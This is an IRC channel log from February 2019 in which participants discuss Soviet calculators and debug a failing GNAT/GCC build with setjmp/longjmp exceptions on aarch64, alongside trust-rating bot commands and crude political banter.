1896837;1550188370;asciilifeform;( interestingly, still produced! at privatized 'angstrom co', but not sold to humans afaik ) 1896838;1550188439;asciilifeform;very decent chip, btw, 150,000 16-bit multiplications / sec., and addressed 4MB. 1896839;1550188467;asciilifeform;one could actually ffa on that ( if somehow find one ! ) 1896840;1550188544;diana_coman;ahahah, that garbage story is great 1896841;1550188587;asciilifeform;https://pmk.arbinada.com/node/12 << for the troo aficionado. 1896842;1550188620;asciilifeform;contains such things as 'beasts', 'werewolves', 'darkness' , 'monsters', all named 'effects' 1896843;1550188625;asciilifeform;on that 1 calc 1896844;1550188670;asciilifeform;and all cuz the folx at 'angstron' didn't have laser, like intel's, to snip off the defective chunk of the ic on conveyor, lol 1896845;1550188732;diana_coman;this eggogology sounds like a candidate euloran skill or something, lol 1896846;1550188766;asciilifeform;for folx who dun ru -- eggogs had 'depth', which referred to how many ops you persisted with after already eggoging 1896847;1550188788;diana_coman;at any rate, I think it would make a far better item to send kids to investigate than many "projects" 1896848;1550188805;asciilifeform;( before mircea_popescu answers 'holy mother of fuck, this is chemically-pure wankery' -- yes, it was. but imho still beats shit out of redditism. ) 1896849;1550188845;*;asciilifeform was given 'mk61' at same age i think diana_coman's kid is nao 1896850;1550188866;asciilifeform;'hand me down' from elder. 1896851;1550189220;mircea_popescu;lol diana_coman 1896852;1550189258;mircea_popescu;asciilifeform no dude, as she points out, it's eulorism avant la lettre. 1896853;1550189285;*;asciilifeform can see it.. 1896854;1550189351;asciilifeform;i would almost say 'i had moar fun with that thing than ever did with pc', but this is prolly http://btcbase.org/log/2019-01-18#1888232 -effect. 1896855;1550189351;a111;Logged on 2019-01-18 17:49 asciilifeform: http://btcbase.org/log/2019-01-18#1888188 << oh hey , was this same grandfather as 'i miss stalin, we were younger then' ? 1896856;1550189584;*;asciilifeform for yrs nao has wanted to build some boxen around sovok k1801, but was never able to justify the sweat in light of war effort -- the demand for iron wallets and similar , even among folx with 3rd eye open, seems to be pretty minimal. 1896857;1550189742;asciilifeform;4MB aint enuff to e.g. trb inside. tho 1 could rsa in it. 1896858;1550189761;asciilifeform;( or boot sysv unix, if yer a masochist ) 1896859;1550189814;asciilifeform;asciilifeform's brother worked on 1, in '90 or so. thing powered a hall of 32 glass terminals , occupied ~24/7 by hungry undergrads 1896860;1550189878;asciilifeform;sysop kicked the drum disk to get it goin'. 1896861;1550190928;*;asciilifeform won a http://trilema.com/2014/the-all-american-asshole-in-his-own-words-with-my-own-notes/ in trilemalotto today. classic piece, but observe that clicking on the 'internal' footnote linx throws the selector script into same bug as on asciilifeform's site 1896862;1550191090;mircea_popescu;hm ?! 1896863;1550191127;mircea_popescu;i select, clicked footnote, select again, it works throughout ? 1896864;1550191136;asciilifeform;grr couldn't reproduce 2nd time 1896865;1550191144;asciilifeform;all the moar headachy 1896866;1550191154;asciilifeform;( does that thing invoke rng somewhere?! ) 1896867;1550191385;mircea_popescu;lmao. nope 1896868;1550191443;*;asciilifeform won't be surprised if 1 day we learn that it only happens if you click on the bottom serif of a lower case 's' or somesuch 1896869;1550191636;asciilifeform;mircea_popescu, diana_coman do you have any pressing itches re the asm vivisections , or can table it for nao ? 1896870;1550191732;mircea_popescu;table. 1896871;1550191744;asciilifeform;aite. 1896872;1550191759;*;asciilifeform empties head. 1896873;1550192925;feedbot;http://trilema.com/2019/wall-street-1987/ << Trilema -- Wall Street (1987) 1896874;1550198747;mircea_popescu;diana_coman so in the end, the conclusion of these procedings is, we're switching to sjlj and use no handlers ? did you ever manage to get it going on smg test server ? 1896875;1550209312;mircea_popescu;meanwhile in crazy coincidences : speaking of http://btcbase.org/log/2019-02-14#1896828 trilema commenters dug out.... well, there was this antique trilema hater / goffy ununderstood soul / fellow with talent & issues that kept deleting his blog (only to resurect it periodically). well, in this 5th or 9th or whatever resurected phase, what is he writing about YESTERDAY if not... https://ludditus.com/2019/02/10/nostalgia-fun-w 1896876;1550209312;a111;Logged on 2019-02-14 23:45 asciilifeform: so produced garbage ( but ordered!111 and therefore fascinating!111 to certain folx ) garbage. 1896877;1550209312;mircea_popescu;ith-calculators/ 1896878;1550211693;mircea_popescu;meanwhile in lulz http://trilema.com/2016/sad-times-in-the-fiat-empire-apparently-you-cant-give-the-dollar-away-these-days/ : bitcoin's still capped at 21mn (pantsuit still claiming this is bad) ; usg's confetti just passed 22... quadrillion or some shit (pantsuit still claiming that 1. it is capped and 2. nothing to be worried about -- not even self-contradiction). http://www.usdebtclock.org/ has some tickers. 1896879;1550211749;mircea_popescu;the fmi is gonna make some austerity recomendations, rite ? 1896880;1550211859;mircea_popescu;aaand also meanwhile, but this time in http://trilema.com/2017/global-warming-on-triton/ lulz : https://weather.com/news/news/2019-02-11-hawaii-storm-record-cold-maui-snow 1896881;1550215142;diana_coman;http://btcbase.org/log/2019-02-15#1896874 -> pending getting finally ave1's gnat recompiled with sjlj and then running it on smg test server, I'd say switching to sjlj + no handlers is pretty much the only currently available option anyway 1896882;1550215142;a111;Logged on 2019-02-15 02:45 mircea_popescu: diana_coman so in the end, the conclusion of these procedings is, we're switching to sjlj and use no handlers ? did you ever manage to get it going on smg test server ? 1896883;1550215157;mircea_popescu;i guess so. 1896884;1550215231;diana_coman;fwiw yesterday I had in parallel this recompile task going too, but all sorts of stuff going with it so it's still ongoing (and apparently I'll have afterwards to write-it up as well, on top of the sjlj data ) 1896885;1550215319;mircea_popescu;aha. 1896886;1550236437;BingoBoingo;http://btcbase.org/log/2019-02-15#1896880 << That slow walk to "weather instability" as their new buzzword 1896887;1550236437;a111;Logged on 2019-02-15 06:24 mircea_popescu: aaand also meanwhile, but this time in http://trilema.com/2017/global-warming-on-triton/ lulz : https://weather.com/news/news/2019-02-11-hawaii-storm-record-cold-maui-snow 1896888;1550240630;feedbot;http://qntra.net/2019/02/jeff-bezos-stops-plans-for-second-amazon-headquarters-in-new-york/ << Qntra -- Jeff Bezos Stops Plans For Second Amazon Headquarters In New York 1896889;1550241234;diana_coman;oh boy: http://p.bvulpes.com/pastes/OIR1B/?raw=true 1896890;1550241268;*;diana_coman doesn't yet know wtf that is exactly - will go and dig 1896891;1550243153;BingoBoingo;And it comes out GNAT has never been tested before to the extent the Republic is testing it 1896892;1550243406;mircea_popescu;except that's WHAT FUCKING WEATHER MEANS. 1896893;1550243417;mircea_popescu;when the fuck is weather ~stable~ ? maybe in sahara. 1896894;1550243451;mircea_popescu;first "global warming", that didn't pan out, then "climate change", that also didn't pan out, now it's "nothing in particular" and i'm supposed to take them seriously ? 1896895;1550243460;mircea_popescu;beat the wives more. 1896896;1550243741;BingoBoingo;They gotta sell their Pol Pot plan for stability somehow. 1896897;1550243850;mircea_popescu;totally. 1896898;1550243960;mircea_popescu;nicoleci kitten, check out latest comments, local troll dug out the linkedin of this lulzcow. write to them, say hi an' tell 'em your master ordered you to. 1896899;1550244036;mircea_popescu;as a smart woman once said, "to have fun you need to organize it". i know, cuz i wrote her. 1896900;1550244149;mircea_popescu;(for thread completness : dood's a "crypto skeptic" for the simple reason that i told 'em to get in back in 2011, when ro speakers were going through a phase of our-homegoat-just-as-good-as-mp's-mercedes, and so of course they "knew better" then. romanians are dumb enough to get locked into these permamently, just like any other rural morons.) 1896901;1550244166;mircea_popescu;needless to say... there's a lohohohohooot of these. 1896902;1550245905;*;asciilifeform looked at linked www, seems to have.. buncha reviews of winblowz av!! who the fuck ~collects~ winblows av?! 1896903;1550245925;diana_coman;socialists? 1896904;1550245938;asciilifeform;( aside from pro virii-bakers , for tests. but d00d dun seem to be 1 of ~these~ ) 1896905;1550246005;asciilifeform;i didn't even see any mention of 'crypto', other than a 2017 piece where he gripes about uninvited js minerism 1896906;1550246018;asciilifeform;( presumably he deleted ? ) 1896907;1550246731;asciilifeform;diana_coman: 'Error detected around a-calend.adb:801:11' >> http://p.bvulpes.com/pastes/fCaiF/?raw=true << is there any chance yer clock is off ? 1896908;1550246743;asciilifeform;( or moved during the build ?? ) 1896909;1550246808;diana_coman;asciilifeform, certainly not moved during the build; it says 16:34 gmt now so doubt it's a problem 1896910;1550246843;asciilifeform;the 2nd eggog is also a constraint eggog, thrown in bottom of http://p.bvulpes.com/pastes/YUqze/?raw=true 1896911;1550246845;asciilifeform;hrm. 1896912;1550246862;diana_coman;but I start suspecting the --enable-sjlj-exceptions + static only -> barf 1896913;1550246890;asciilifeform;clear so far; but not why 1896914;1550246938;asciilifeform;diana_coman: plox to briefly describe how you set up this build, so i can replicate locally 1896915;1550247012;BingoBoingo;!!rate cazalla 1 Qntra editor emiritus presently making tracks in the trackless waste 1896916;1550247015;deedbot;Get your OTP: http://p.bvulpes.com/pastes/mxypk/?raw=true 1896917;1550247022;*;asciilifeform brb, tea 1896918;1550247044;BingoBoingo;!!v EAADE283F871C8A1FB63719F0509FAE74A77977833D27676959EDE9795B4620C 1896919;1550247045;deedbot;BingoBoingo updated rating of cazalla from 8 to 1 << Qntra editor emiritus presently making tracks in the trackless waste 1896920;1550247108;BingoBoingo;!!rate mod6 4 TRB, Pizarro, testing of things 1896921;1550247111;deedbot;Get your OTP: http://p.bvulpes.com/pastes/2Pdzx/?raw=true 1896922;1550247123;diana_coman;hm, full replica might require I upload somewhere the tarballs too since at least 1 link was broken ; anyways, it's with http://ave1.org/2018/building-gnat-on-musl-now-always-static/ + taken out the download script for ada2016 because broken link + added GCC_CONFFLAGS="--enable-sjlj-exceptions" to extraconfig.sh ; set path to point to existing and working adacore 2016 gnat + put all tarballs in their place 1896923;1550247138;BingoBoingo;!!v 8259D8A47353C666238F664566D3E65C89A5AE414FA502AAA633DA3BDD618A5B 1896924;1550247139;deedbot;BingoBoingo rated mod6 4 << TRB, Pizarro, testing of things 1896925;1550247151;diana_coman;exorted makeopts and then run the build-ada.sh in short 1896926;1550247232;diana_coman;anyways, I'll try presently ave1's previous version i.e. http://ave1.org/2018/building-gnat-on-musl-now-with-partial-and-parallel-build-support/ 1896927;1550247288;diana_coman;at least to have some idea if the move to gcc that builds static only has to do with it 1896928;1550247401;diana_coman;for sanity I just checked by the way that the exact same machine DOES in fact build successfully GNAT with those same scripts without the sjlj added requirement 1896929;1550248104;*;diana_coman will bbl 1896930;1550248109;*;BingoBoingo about to do WoT cleanup 1896931;1550248119;BingoBoingo;!!unrate diatonic 1896932;1550248122;deedbot;Get your OTP: http://p.bvulpes.com/pastes/CkHlP/?raw=true 1896933;1550248158;BingoBoingo;!!v AA917614CA4F99DFABF0B4B72D830216F1864930B3E6DFB85532F686A7B52EE0 1896934;1550248159;deedbot;BingoBoingo unrated diatonic. 1896935;1550248172;BingoBoingo;!!rate dignork -1 found an opportunity to make a useful thing, long missing in action 1896936;1550248175;deedbot;Get your OTP: http://p.bvulpes.com/pastes/CJ3Il/?raw=true 1896937;1550248208;BingoBoingo;!!v 455F5858441BC274AC14419F3FB5031C6702D1DF993BF1B02BF5AE9595338645 1896938;1550248208;deedbot;BingoBoingo updated rating of dignork from 1 to -1 << found an opportunity to make a useful thing, long missing in action 1896939;1550248218;BingoBoingo;!!unrate doctorbtc 1896940;1550248223;deedbot;Get your OTP: http://p.bvulpes.com/pastes/leszC/?raw=true 1896941;1550248257;BingoBoingo;!!v 7BC2ED18185509DCAB0940C4D5F132E98867B29FA935024F32B49D0CEF26D8CC 1896942;1550248257;deedbot;BingoBoingo unrated doctorbtc. 1896943;1550248271;BingoBoingo;!!rate douchebag -2 Ate time, got dismissed 1896944;1550248274;deedbot;Get your OTP: http://p.bvulpes.com/pastes/bvQH7/?raw=true 1896945;1550248309;BingoBoingo;!!v FD296609320F92B11EE1C04AFE7CF21767F468D6D5B09528638EC3F6FBFBF40A 1896946;1550248309;deedbot;BingoBoingo updated rating of douchebag from 1 to -2 << Ate time, got dismissed 1896947;1550248326;BingoBoingo;!!unrate dub 1896948;1550248329;deedbot;Get your OTP: http://p.bvulpes.com/pastes/emgtV/?raw=true 1896949;1550248360;BingoBoingo;!!v B0C5FC94ED49317179EB53857041B261C976A983C8894A0D4D6FE55CD2963B1B 1896950;1550248360;deedbot;BingoBoingo unrated dub. 1896951;1550248370;BingoBoingo;!!rate heysteve -1 Did a thing with words, ended up going the other way 1896952;1550248525;BingoBoingo;!!rate heysteve -1 Did a thing with words, ended up going the other way 1896953;1550248530;deedbot;Get your OTP: http://p.bvulpes.com/pastes/JAEJz/?raw=true 1896954;1550248561;BingoBoingo;!!v 6CFF779F9723C134979FBA8CE3A51E23558A8B39E351DB40A594C437896F9065 1896955;1550248562;deedbot;BingoBoingo updated rating of heysteve from 1 to -1 << Did a thing with words, ended up going the other way 1896956;1550248586;BingoBoingo;!!unrate immuzikation 1896957;1550248589;deedbot;Get your OTP: http://p.bvulpes.com/pastes/oNB1B/?raw=true 1896958;1550248626;BingoBoingo;!!v 2FD70CB3C8CAE0A17662131C18D3874419CD8B160BF76C84FC8024AFCAF3A5C7 1896959;1550248626;deedbot;BingoBoingo unrated immuzikation. 1896960;1550248639;BingoBoingo;!!rate irdial -1 loud, introduced to the future, ended up going the other way 1896961;1550248642;deedbot;Get your OTP: http://p.bvulpes.com/pastes/NGleZ/?raw=true 1896962;1550248671;BingoBoingo;!!v 202C582152714EAB6A1816B8AA26F0BE3401665E66A9E81C344600DFFF89D0B6 1896963;1550248672;deedbot;BingoBoingo updated rating of irdial from 1 to -1 << loud, introduced to the future, ended up going the other way 1896964;1550248706;BingoBoingo;!!rate jborkl_ 1 wrote, probably making tracks in the trackless waste 1896965;1550248756;BingoBoingo;!!rate jonvaage -1 received loan of #b-a +v, se fue 1896966;1550248793;BingoBoingo;!!rate jonvaage -1 received loan of #b-a +v, se fue 1896967;1550248796;deedbot;Get your OTP: http://p.bvulpes.com/pastes/pK3Pm/?raw=true 1896968;1550248832;BingoBoingo;!!v 1AD0616DB515AED5B64F8A183FBC2570A58AA7681DC594E23D65853957B48BB0 1896969;1550248832;deedbot;BingoBoingo updated rating of jonvaage from 1 to -1 << received loan of #b-a +v, se fue 1896970;1550248847;BingoBoingo;!!rate mike_c -1 Made good things, disappeared, appears to have ended up going the other way 1896971;1550248850;deedbot;Get your OTP: http://p.bvulpes.com/pastes/i1TPM/?raw=true 1896972;1550248878;BingoBoingo;!!v 7A4A8BB0069456114E383E44192D1658FBC43DC59F3235958419CD4F43EC3D80 1896973;1550248878;deedbot;BingoBoingo updated rating of mike_c from 1 to -1 << Made good things, disappeared, appears to have ended up going the other way 1896974;1550248890;BingoBoingo;!!rate pete_dushenski 1 Canadian lifestyle blogger, Embracing the icy north of a peripheral Pantsuit land, a trackful wast 1896975;1550248893;deedbot;Get your OTP: http://p.bvulpes.com/pastes/EHbOn/?raw=true 1896976;1550248934;BingoBoingo;!!v AE0510493A2ADD5A4A942DBBF6E1ECB52475CB6CF4E3227BDDF8F790A4EC086C 1896977;1550248934;deedbot;BingoBoingo updated rating of pete_dushenski from 1 to 1 << Canadian lifestyle blogger, Embracing the icy north of a peripheral Pantsuit land, a trackful wast 1896978;1550248949;BingoBoingo;!!rate pinkposixpxe 1 wrote text for qntra, disappeared 1896979;1550248952;deedbot;Get your OTP: http://p.bvulpes.com/pastes/w8R63/?raw=true 1896980;1550248978;BingoBoingo;!!v 8489CF7148709190CDBA46A25226E9568E65C35EA6D324A9EC8F591A555F98D2 1896981;1550248978;deedbot;BingoBoingo updated rating of pinkposixpxe from 1 to 1 << wrote text for qntra, disappeared 1896982;1550248980;mircea_popescu;asciilifeform dood runs windows, what can i tell you. 1896983;1550248990;mircea_popescu;imo very typical of the sort of braindamage involved. 1896984;1550248993;BingoBoingo;!!unrate punkman 1896985;1550248996;deedbot;Get your OTP: http://p.bvulpes.com/pastes/t9iKt/?raw=true 1896986;1550249025;BingoBoingo;!!v 8CB50CEF88683C491DBAD9F3C0D9DA7029ED68712BE20647FD96E60608EB131F 1896987;1550249026;deedbot;BingoBoingo unrated punkman. 1896988;1550249039;BingoBoingo;!!unrate sexy_saffron 1896989;1550249043;deedbot;Get your OTP: http://p.bvulpes.com/pastes/v5VM7/?raw=true 1896990;1550249047;mircea_popescu;http://btcbase.org/log/2019-02-15#1896912 << fucking hell... 1896991;1550249047;a111;Logged on 2019-02-15 16:07 diana_coman: but I start suspecting the --enable-sjlj-exceptions + static only -> barf 1896992;1550249075;BingoBoingo;!!v 7D61D65A32F8424C4936F4BE7665F7BD3B385F1C375A9896C0C572096DD35521 1896993;1550249076;deedbot;BingoBoingo unrated sexy_saffron. 1896994;1550249088;BingoBoingo;!!rate simonpenner -1 Introduced to the future, ended up going the other way 1896995;1550249091;deedbot;Get your OTP: http://p.bvulpes.com/pastes/f9E5x/?raw=true 1896996;1550249103;mircea_popescu;does anyone have any appreciation WHATSOEVEr what a tower of shit all this is ? "oh, we have 3 options of which one sorta works except not in this way -- but the other two, barely at all!" 1896997;1550249123;BingoBoingo;!!v AE4B9D3879A60471130979CCF0D12885D9996338C981C2BB4169B586E35EAA1B 1896998;1550249124;deedbot;BingoBoingo updated rating of simonpenner from 1 to -1 << Introduced to the future, ended up going the other way 1896999;1550249142;BingoBoingo;!!rate thickasthieves -1 The Real Altcoin's Mother, disappeared after receiving criticism in Trilema blog comments, additionally something, something NEOBEE 1897000;1550249145;deedbot;Get your OTP: http://p.bvulpes.com/pastes/5ykHI/?raw=true 1897001;1550249177;BingoBoingo;!!v 8FBCFDA6275770168C679ECBF22102C1FAA7C698D955F5350EA931D5AABCB480 1897002;1550249178;deedbot;BingoBoingo updated rating of thickasthieves from 1 to -1 << The Real Altcoin's Mother, disappeared after receiving criticism in Trilema blog comments, additionally something, something NEOBEE 1897003;1550249193;BingoBoingo;!!unrate xanthyos 1897004;1550249196;deedbot;Get your OTP: http://p.bvulpes.com/pastes/rvDia/?raw=true 1897005;1550249227;BingoBoingo;!!v 6EBDDECBC1563CC36C763270F417F3321D57DC30655130342EF54A8AD298F8C2 1897006;1550249227;deedbot;BingoBoingo unrated xanthyos. 1897007;1550249247;BingoBoingo;!!unrate chatquack 1897008;1550249250;deedbot;Get your OTP: http://p.bvulpes.com/pastes/NHoYy/?raw=true 1897009;1550249282;BingoBoingo;!!v EDDE628D5FBD04D44B90C536EC82EE57E6F7C4E19CEF32B67FC6F536D424202F 1897010;1550249283;deedbot;BingoBoingo unrated chatquack. 1897011;1550249295;BingoBoingo;!!v !!rate copypaste -1 Introduced to the future, ended up rolling the other way 1897012;1550249299;BingoBoingo;!!rate copypaste -1 Introduced to the future, ended up rolling the other way 1897013;1550249303;deedbot;Get your OTP: http://p.bvulpes.com/pastes/RqhQw/?raw=true 1897014;1550249332;BingoBoingo;!!v 69425E41C7A5ADFDBCA634EB2321E383E0F9FC1D5F17875E8EAB30DFF15F9E8F 1897015;1550249332;deedbot;BingoBoingo updated rating of copypaste from 1 to -1 << Introduced to the future, ended up rolling the other way 1897016;1550249463;BingoBoingo;!!rate ragnardanneskjol -5 Professed to do something, Ate substantial time over several years, if he crawls back out of his whole consider him a navigational hazard who will eat any time you offer him and further waste anytime you spend expecting him to deliver 1897017;1550249466;deedbot;Get your OTP: http://p.bvulpes.com/pastes/wj8AT/?raw=true 1897018;1550249494;BingoBoingo;!!v EA312C58C5DFDBAAA93BABAD6ECB87B51D16F804D527B9613700F3E21A31F3BC 1897019;1550249495;deedbot;BingoBoingo rated ragnardanneskjol -5 << Professed to do something, Ate substantial time over several years, if he crawls back out of his whole consider him a navigational hazard who will eat any time you offer him and further waste anytime you spend expecting him to deliver 1897020;1550249503;BingoBoingo;That ends this round of ratings updates 1897021;1550250327;asciilifeform;ohey BingoBoingo cleaned house 1897022;1550250378;BingoBoingo;There's other cuts top meditate on 1897023;1550250394;asciilifeform;http://btcbase.org/log/2019-02-15#1896982 << the... 'smarter' ( i hesitate to use this word, perhaps 'less retarded..' ? ) winblows folx, long ago threw out av.. 1897024;1550250394;a111;Logged on 2019-02-15 16:43 mircea_popescu: asciilifeform dood runs windows, what can i tell you. 1897025;1550250486;asciilifeform;http://btcbase.org/log/2019-02-15#1896996 << if there exists somewhere a 800+kLoc proggy that ~aint~ a tower o'shit, i have yet to see or even hear of it 1897026;1550250486;a111;Logged on 2019-02-15 16:45 mircea_popescu: does anyone have any appreciation WHATSOEVEr what a tower of shit all this is ? "oh, we have 3 options of which one sorta works except not in this way -- but the other two, barely at all!" 1897027;1550252725;diana_coman;http://btcbase.org/log/2019-02-15#1896926 -> this failed precisely in the same way; need to get to the bottom of it really because Adacore's gnat otherwise IS compiled with sjlj so wtf 1897028;1550252725;a111;Logged on 2019-02-15 16:13 diana_coman: anyways, I'll try presently ave1's previous version i.e. http://ave1.org/2018/building-gnat-on-musl-now-with-partial-and-parallel-build-support/ 1897029;1550252766;diana_coman;mircea_popescu, my current appreciation is of the sort (tower of shit inside tower of shit )^infinity 1897030;1550252809;diana_coman;paging ave1 - do you have any idea re compiling GNAT with musl WITH sjlj? see thread above 1897031;1550253009;diana_coman;uhm, and ave1's blog thinks I'm a spammer and won't let me comment... 1897032;1550253108;PeterL;bingoboingo: when do you plan to do another wff auction? Will you do chunks of 500 wff again? 1897033;1550254991;asciilifeform;diana_coman: i notice you were building 'aarch64' ? this was on rk ? 1897034;1550255047;asciilifeform;diana_coman: were you attempting to build ~x64~ gnat on this ? ftr i was never able to ( with classic zxc variant, this was long before the current thread ) 1897035;1550255319;asciilifeform;( 'move_insn' seems to be the peephole optimizer on back end. i gotta wonder if it ended up being fed a x64 .o by the linker, and choked on ~that~ ) 1897036;1550255412;asciilifeform;the choke point is an assert, seen at bottom of http://p.bvulpes.com/pastes/8yKzH/?raw=true snippet 1897037;1550255514;diana_coman;asciilifeform, this was on smg machine; same machine that in same setup just without "--enable-sjlj" option builds the gnat perfectly fine 1897038;1550255523;asciilifeform;hm then why aarch64 ? 1897039;1550255543;*;diana_coman looks 1897040;1550255546;asciilifeform;| GPL 2016 (20160515-49) (aarch64-linux-musl) GCC error: | 1897041;1550255546;asciilifeform;| in move_insn, at haifa-sched.c:5179 1897042;1550255553;asciilifeform;^ from diana_coman's pastebarf 1897043;1550255590;asciilifeform;aarch64 == arm64, that's the ave1-baked rk gnat 1897044;1550255667;diana_coman;hm, do you mean to say it's because/while it tries to build the one for arm? 1897045;1550255677;diana_coman;because no, the one installed on the machine and used for the scripts is adacore's 1897046;1550255693;diana_coman;but obv during the build, it tries to build for all archs 1897047;1550255732;asciilifeform;see what happens if you snip out the aarch64 build ( whether chokes same when building x64 gnat ) 1897048;1550255746;diana_coman;makes sense, will try 1897049;1550255800;asciilifeform;this, note, is ~still~ a bug ( or , worse, aarch64 dun know how to longjmp-task ? i.e. not implemented ? ) and will have to be cured. but as i undestand diana_coman is currently interested in x64. 1897050;1550255832;diana_coman;ofc it's still a bug; but one step forward in figuring out something of this is still useful 1897051;1550255867;diana_coman;and yes, I am currently mainly interested in x64 1897052;1550255897;asciilifeform;rright, so lessee if its a gnat bug per se , or only in arm backend. 1897053;1550256106;BingoBoingo; bingoboingo: when do you plan to do another wff auction? Will you do chunks of 500 wff again? << Next month, I will start at 500 WFF again 1897054;1550258046;asciilifeform;diana_coman et al : https://archive.is/VP9aF << suggests that sjlj is borked on arm 1897055;1550258086;asciilifeform;( note btw that sjlj on backend is a gcc pheature, rather than particular to gnat -- tho gnat naturally has hooks for it, when in use ) 1897056;1550258134;asciilifeform;for the l0gz, the horse's mouth : 1897057;1550258138;asciilifeform;'Fabian Vogt 2014-12-12 15:30:53 UTC If sjlj exceptions are not supported for ARM, shouldn't the configure option be invalid for ARM or at least print a warning? If an option does exist and it simply crashes the compiler during make, it's definitely broken and must be removed.' 1897058;1550258148;asciilifeform;'Jonathan Wakely 2014-12-12 15:35:00 UTC Just don't do silly things. Just because an option exists doesn't mean you need to use it.' 1897059;1550258165;asciilifeform;i.e. maintainer loudly an' abundantly shat from mouth when asked 'wtf' 1897060;1550260484;diana_coman;oh hm, on the + it seems at least so far the trouble is indeed on arm only; on the big minus, it seems though that the switch I used is not enough in fact i.e. the result still does not have sjlj rts; so I still need to see what exactly it wants to actually build the sjlj rts too 1897061;1550260648;asciilifeform;diana_coman: how didja build, --enable-sjlj-exceptions ? 1897062;1550260658;diana_coman;yes 1897063;1550260674;diana_coman;if you mean re gnat 1897064;1550260678;asciilifeform;aha 1897065;1550260707;asciilifeform;iirc ave1's builder is a 2-step thing, so gotta make sure it gets enabled for both 1897066;1550260723;diana_coman;that's the switch I gave it; let me check in the log too to make sure I didn't dream I actually saw it in there (but for that matter if it didn't, it wouldn't have barfed) 1897067;1550260731;diana_coman;for the bootstrapper you mean? 1897068;1550260736;asciilifeform;right 1897069;1550260934;diana_coman;darn, ofc there are TWO flags to set to the same thing i.e. one for bootstrapper and one for the resulting gnat 1897070;1550260938;diana_coman;oh joy 1897071;1550260942;asciilifeform;as i guessed , ha 1897072;1550260980;asciilifeform;after this you oughta get a sjljistic ave1 gnat. 1897073;1550261075;diana_coman;mk, so I'll add then: GCC_BOOTSTRAP_CONFFLAGS="--enable-sjlj-exceptions" 1897074;1550261076;diana_coman;GCC_CONFFLAGS="--enable-sjlj-exceptions" 1897075;1550261112;diana_coman;but I suspect this is not the end of it because the bootstrap will want additional stuff that it probably doesn't yet have set to have etc 1897076;1550261143;asciilifeform;fastest way to find out is prolly to fire it, like-so 1897077;1550261161;asciilifeform;diana_coman: how long do these take to grind on your box btw ? 1897078;1550261218;asciilifeform;make sure you enabled -jXXX or what was it, to use all cores 1897079;1550261223;asciilifeform;(when building) 1897080;1550261225;diana_coman;full you mean? I didn't time it, more usual left it and came back to it done, but from scratch ~1hour , possibly a bit more than that (less than 2 though) 1897081;1550261233;diana_coman;that yes, I did and it is using 1897082;1550261237;asciilifeform;aa ok 1897083;1550261262;asciilifeform;( asciilifeform when did this, forgot, and then wondered why it grunted for whole night ) 1897084;1550261680;diana_coman;aha; I remembered the pain from first time when yes, whole night 1897085;1550261702;diana_coman;I've started it now with both flags, let's see 1897086;1550261925;*;diana_coman will bbl 1897087;1550263086;*;asciilifeform also bbl 1897088;1550266147;BingoBoingo;In local developments, the local dorks have figured out how to get the motorized app managed kick scooters to work 1897089;1550276102;mircea_popescu;http://btcbase.org/log/2019-02-15#1897027 << yes, absolutely. 1897090;1550276102;a111;Logged on 2019-02-15 17:45 diana_coman: http://btcbase.org/log/2019-02-15#1896926 -> this failed precisely in the same way; need to get to the bottom of it really because Adacore's gnat otherwise IS compiled with sjlj so wtf 1897091;1550276130;mircea_popescu;seems we're en route to discover that all gnat builds depend on ~this one bridge build~ that was done by a meanwhile dead graybeard sometime in 2001. 1897092;1550276770;mircea_popescu;http://btcbase.org/log/2019-02-15#1897029 << myeah, eulora suddenly very fucking useful to teh broader community. i have a good mind to add a few months payroll to the goodwill line, because hory shit. 1897093;1550276770;a111;Logged on 2019-02-15 17:46 diana_coman: mircea_popescu, my current appreciation is of the sort (tower of shit inside tower of shit )^infinity 1897094;1550276935;mircea_popescu;http://btcbase.org/log/2019-02-15#1897049 << pretty sure there exist aarch64 sjlj compiled kernels. 1897095;1550276935;a111;Logged on 2019-02-15 18:36 asciilifeform: this, note, is ~still~ a bug ( or , worse, aarch64 dun know how to longjmp-task ? i.e. not implemented ? ) and will have to be cured. but as i undestand diana_coman is currently interested in x64. 1897096;1550277099;mircea_popescu;http://archive.is/x8D5k << apparently they STILL have the issue in gcc 8. 1897097;1550277126;mircea_popescu;ie, gcc broken for long jump on aarch64. 1897098;1550277137;mircea_popescu;"The issue is that the code generated for __builtin_longjmp reads a value for x29 (the frame pointer) from the jmp_buf, but the code generated for __builtin_setjmp doesn't actually write x29 to the jmp_buf, leading to corruption of x29 when a longjmp occurs. 1897099;1550277137;mircea_popescu;" 1897100;1550277425;asciilifeform;mircea_popescu: i sank several hours into the dig and did not find whether 'worked, then broken' or 'never written' 1897101;1550277546;asciilifeform;http://btcbase.org/log/2019-02-16#1897094 << if you actually found this kinda thing, plox to link ( this'd mean the former ) 1897102;1550277546;a111;Logged on 2019-02-16 00:28 mircea_popescu: http://btcbase.org/log/2019-02-15#1897049 << pretty sure there exist aarch64 sjlj compiled kernels. 1897103;1550277548;mircea_popescu;i can't imagine it was never written, this long jump thing was standardf for a while neh ? 1897104;1550277556;mircea_popescu;im lookin im looking 1897105;1550277596;asciilifeform;mircea_popescu: sjlj ? was 'deprecated' Officially, Only A Terrorist(tm) Would Want, was the flavor i got from the http://btcbase.org/log/2019-02-15#1897058 rotters 1897106;1550277596;a111;Logged on 2019-02-15 19:15 asciilifeform: 'Jonathan Wakely 2014-12-12 15:35:00 UTC Just don't do silly things. Just because an option exists doesn't mean you need to use it.' 1897107;1550277666;*;asciilifeform finds himself nao also wondering ~what else~ dunwork on arm 1897108;1550277824;asciilifeform;( e.g., ffa, built yes on arm64 using ave1's system, but it's spartan to the point of starvation featurewise) 1897109;1550278049;mircea_popescu;yes, but also for say mid 90s to maybe 2000something it was the way to do handling neh 1897110;1550278069;asciilifeform;arm64 iirc first released in late obummer reign 1897111;1550278108;mircea_popescu;so you're saying "arm came too late, sjlj already indexed" ? 1897112;1550278118;asciilifeform; 30 October 2012 apparently. 1897113;1550278162;asciilifeform;dig through gnat/gcc sources seems to support hypothesis : 1897114;1550278170;asciilifeform;gcc/common/config/arm/arm-common.c: /* Honor the --enable-sjlj-exceptions configure switch. */ 1897115;1550278207;asciilifeform;but nuffin re sjlj in gcc/common/config/aarch64/* . 1897116;1550278364;mircea_popescu;but i mean, eg ida got support for it cca v6 ? 1897117;1550278368;asciilifeform;if arm64 were a completely compat. superset of conventional 'arm7', this would make 0 diff naturally. but seems like it aint 1897118;1550278392;mircea_popescu;hm. 1897119;1550278407;asciilifeform;mircea_popescu: ida6 only ate 32bit arm 1897120;1550278422;asciilifeform;64 appeared iirc in 6.3 . 1897121;1550278424;mircea_popescu;asciilifeform i suspect this is my problem. i don't mentally distinguish 